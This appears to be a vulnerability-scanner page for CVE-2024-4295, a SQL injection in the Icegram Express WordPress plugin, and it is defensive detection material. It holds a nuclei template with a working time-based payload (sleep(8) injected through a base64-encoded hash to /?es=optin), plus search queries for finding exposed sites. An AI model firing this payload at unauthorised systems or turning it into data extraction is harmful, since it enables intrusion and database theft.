CVE-2024-4295· icegram / email subscribers \& newsletters· CWE-89
Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash
criticalseverity
9.8CVSS score
10.2%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it
Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.
Impact
This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Fix
Fixed in 5.7.21
How to confirm it
Send: GET {{BaseURL}} ; GET {{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt
Positive when: contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")
Send: @timeout: 20s
Positive when: duration>=8 and contains(body, "You have been successfully subscribed")Run it with nuclei: nuclei -id CVE-2024-4295 -u <target>
The full check
id: CVE-2024-4295
info:
name: Email Subscribers by Icegram Express <= 5.7.20 - Unauthenticated SQL Injection via Hash
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
Email Subscribers by Icegram Express <= 5.7.20 contains an unauthenticated SQL injection vulnerability via the hash parameter.
remediation: Fixed in 5.7.21
impact: This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/641123af-1ec6-4549-a58c-0a08b4678f45?source=cve
- https://github.com/cve-2024/CVE-2024-4295-Poc
- https://github.com/truonghuuphuc/CVE-2024-4295-Poc
- https://nvd.nist.gov/vuln/detail/CVE-2024-4295
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-4295
cwe-id: CWE-89
epss-score: 0.10161
epss-percentile: 0.95694
cpe: cpe:2.3:a:icegram:email_subscribers_\&_newsletters:*:*:*:*:*:wordpress:*:*
metadata:
vendor: icegram
product: email_subscribers_\&_newsletters
framework: wordpress
verified: true
max-request: 1
publicwww-query: "/wp-content/plugins/email-subscribers/"
fofa-query: body="/wp-content/plugins/email-subscribers/"
tags: time-based-sqli,cve,cve2024,wordpress,wp-plugin,wp,email-subscribers,sqli,vkev,vuln
flow: http(1) && http(2)
variables:
contact_id: "{{contact_id}}"
email: "{{email}}"
rawhash: '{"message_id":0,"campaign_id":0,"contact_id":"{{contact_id}}","email":"{{email}}","guid":"dibwol-qaiebd-qvrgkp-lhyopm-rmyfzo","list_ids":["sleep(8)"],"action":"subscribe"}'
http:
- method: GET
path:
- "{{BaseURL}}"
- "{{BaseURL}}/wp-content/plugins/email-subscribers/readme.txt"
stop-at-first-match: true
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains_any(body, "email-subscribers-", "Email Subscribers by Icegram Express")'
internal: true
- raw:
- |
@timeout: 20s
GET /?es=optin&hash={{ base64(rawhash) }} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=8'
- 'contains(body, "You have been successfully subscribed")'
condition: andReferences
- https://www.wordfence.com/threat-intel/vulnerabilities/id/641123af-1ec6-4549-a58c-0a08b4678f45?source=cve
- https://github.com/cve-2024/CVE-2024-4295-Poc
- https://github.com/truonghuuphuc/CVE-2024-4295-Poc
- https://nvd.nist.gov/vuln/detail/CVE-2024-4295
Use this check only on systems you are authorised to test. Where the data comes from